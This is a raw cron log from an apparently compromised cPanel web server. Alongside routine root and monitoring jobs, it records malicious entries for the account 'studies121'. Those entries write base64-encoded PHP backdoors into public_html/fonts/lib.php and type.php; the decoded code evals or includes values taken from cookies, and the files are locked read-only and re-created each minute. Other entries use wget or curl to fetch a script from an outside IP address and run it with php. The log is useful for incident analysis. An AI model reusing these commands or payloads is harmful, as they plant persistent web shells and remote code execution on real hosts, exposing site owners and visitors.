Sep  5 14:49:01 ip-184-168-122-23 CROND[6078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:49:01 ip-184-168-122-23 CROND[6077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:49:01 ip-184-168-122-23 CROND[6079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:50:01 ip-184-168-122-23 CROND[6178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:50:01 ip-184-168-122-23 CROND[6180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:50:01 ip-184-168-122-23 CROND[6181]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 14:50:01 ip-184-168-122-23 CROND[6185]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:50:01 ip-184-168-122-23 CROND[6184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:50:01 ip-184-168-122-23 CROND[6187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:50:01 ip-184-168-122-23 CROND[6183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:50:01 ip-184-168-122-23 CROND[6189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:50:01 ip-184-168-122-23 CROND[6186]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 14:51:01 ip-184-168-122-23 CROND[6362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:51:01 ip-184-168-122-23 CROND[6364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:51:01 ip-184-168-122-23 CROND[6365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:51:01 ip-184-168-122-23 CROND[6363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:52:01 ip-184-168-122-23 CROND[6444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:52:01 ip-184-168-122-23 CROND[6446]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:52:01 ip-184-168-122-23 CROND[6448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:52:01 ip-184-168-122-23 CROND[6445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:52:01 ip-184-168-122-23 CROND[6447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:53:01 ip-184-168-122-23 CROND[6531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:53:01 ip-184-168-122-23 CROND[6533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:53:01 ip-184-168-122-23 CROND[6534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:53:01 ip-184-168-122-23 CROND[6535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:54:01 ip-184-168-122-23 CROND[6609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:54:01 ip-184-168-122-23 CROND[6611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:54:01 ip-184-168-122-23 CROND[6612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:54:01 ip-184-168-122-23 CROND[6613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:54:01 ip-184-168-122-23 CROND[6615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:55:01 ip-184-168-122-23 CROND[6716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:55:01 ip-184-168-122-23 CROND[6718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:55:01 ip-184-168-122-23 CROND[6719]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:55:01 ip-184-168-122-23 CROND[6720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:55:01 ip-184-168-122-23 CROND[6721]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:55:01 ip-184-168-122-23 CROND[6722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:56:01 ip-184-168-122-23 CROND[6812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:56:01 ip-184-168-122-23 CROND[6814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:56:01 ip-184-168-122-23 CROND[6815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:56:01 ip-184-168-122-23 CROND[6816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:56:01 ip-184-168-122-23 CROND[6817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:57:01 ip-184-168-122-23 CROND[6916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:57:01 ip-184-168-122-23 CROND[6919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:57:01 ip-184-168-122-23 CROND[6921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:57:01 ip-184-168-122-23 CROND[6923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:58:01 ip-184-168-122-23 CROND[7056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:58:01 ip-184-168-122-23 CROND[7058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:58:01 ip-184-168-122-23 CROND[7063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:58:01 ip-184-168-122-23 CROND[7062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:58:01 ip-184-168-122-23 CROND[7061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:59:01 ip-184-168-122-23 CROND[7205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:59:01 ip-184-168-122-23 CROND[7206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:59:01 ip-184-168-122-23 CROND[7207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:59:01 ip-184-168-122-23 CROND[7209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:00:01 ip-184-168-122-23 CROND[7315]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:00:01 ip-184-168-122-23 CROND[7316]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:00:01 ip-184-168-122-23 CROND[7318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:00:01 ip-184-168-122-23 CROND[7319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:00:01 ip-184-168-122-23 CROND[7314]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 15:00:01 ip-184-168-122-23 CROND[7320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:00:01 ip-184-168-122-23 CROND[7321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:00:01 ip-184-168-122-23 CROND[7322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:01:01 ip-184-168-122-23 CROND[7591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
